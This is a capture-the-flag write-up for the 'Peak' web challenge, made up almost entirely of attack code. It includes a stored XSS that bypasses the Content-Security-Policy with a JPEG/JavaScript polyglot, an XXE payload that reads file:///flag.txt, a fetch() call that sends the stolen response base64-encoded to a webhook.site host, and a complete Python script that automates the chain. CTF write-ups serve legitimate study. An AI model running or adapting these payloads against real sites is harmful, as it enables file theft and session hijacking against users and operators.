Peak [88 Solves]

<!-- dist/web/pages/view_message.php -->

        <!-- (snip) -->
        <section id="message" class="py-5">
            <div class="container mt-5">
                <?php if (isset($message)): ?>
                    <h1><?php echo htmlentities($message['title']);?></h1>
                    <p><?php echo $message['content']; ?><!-- this -->
                    <?php if($message['file'] !== "") : ?>
                        <div>
                        <img name="image" src="<?php echo $message['file']?>">
                        </div>
                    <?php endif;?>
                <?php endif; ?></p>
            </div>
        </section>
        <!-- (snip) -->

$ curl -D- https://peak.web.glacierctf.com//pages/view_message.php?id=41
(snip)
Content-Security-Policy: script-src 'self'
(snip)

# Requirement: `convert` command in ImageMagick
git clone https://github.com/4n86rakam1/xss_injection_in_jpeg.git
echo 'alert(1)' > payload.js
python3 xss_injection_in_jpeg/exploit.py --payload-file payload.js --imagesize 10x10 --output xss.jpg

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]>
<markers>
    <marker>
        <lat>47.0748663672</lat>
        <lon>12.695247219</lon>
        <name>&xxe;</name>
    </marker>
</markers>

fetch("/admin/map.php", {
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: new URLSearchParams({
    data: '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]><markers><marker><lat>47.0748663672</lat><lon>12.695247219</lon><name>&xxe;</name></marker></markers>',
  }),
})
  .then((resp) => resp.text())
  .then((text) => {
    new Image().src =
      "https://webhook.site/<yourwebhook>/?data=" +
      btoa(text);
  });

# Requirement: `convert` command in ImageMagick
git clone https://github.com/4n86rakam1/xss_injection_in_jpeg.git
vi payload.js  # paste XSS payload created in the previous step
python3 xss_injection_in_jpeg/exploit.py --payload-file payload.js --imagesize 10x10 --output xss.jpg

import requests
import random, string
import re

requests.packages.urllib3.disable_warnings()

BASE_URL = "https://peak.web.glacierctf.com"
# BASE_URL = "http://localhost"
USERNAME = PASSWORD = "".join(
    random.choices(string.ascii_letters + string.digits, k=10)
)


def main():
    s = requests.Session()
    # s.proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
    s.verify = False

    # register user
    s.post(
        f"{BASE_URL}/actions/register.php",
        data={"username": USERNAME, "password": PASSWORD},
        allow_redirects=False,
    )

    # post image
    res = s.post(
        f"{BASE_URL}/actions/contact.php",
        files={
            "image": ("test.jpg", open("xss.jpg", "rb"), "image/jpeg"),
        },
        data={"title": "a", "content": "b"},
        allow_redirects=True,
    )

    # retrieve message path. e.g. /pages/view_message.php?id=32
    message_path = re.findall(
        r"<a name='message' href='(.*?)'>",
        res.text,
    )[0]

    # request to message_path
    res = s.get(f"{BASE_URL}{message_path}")

    # retrieve image path. e.g. /uploads/65642f83b95101701064579759044
    image_path = re.findall(r'<img name="image" src="(.*?)">', res.text)[0]

    xss_payload = f'<script charset="ISO-8859-1" src="{image_path}"></script>'

    # post xss payload
    res = s.post(
        f"{BASE_URL}/actions/contact.php",
        data={"title": "a", "content": xss_payload},
        allow_redirects=False,
    )

    # Check your webhook request.


if __name__ == "__main__":
    main()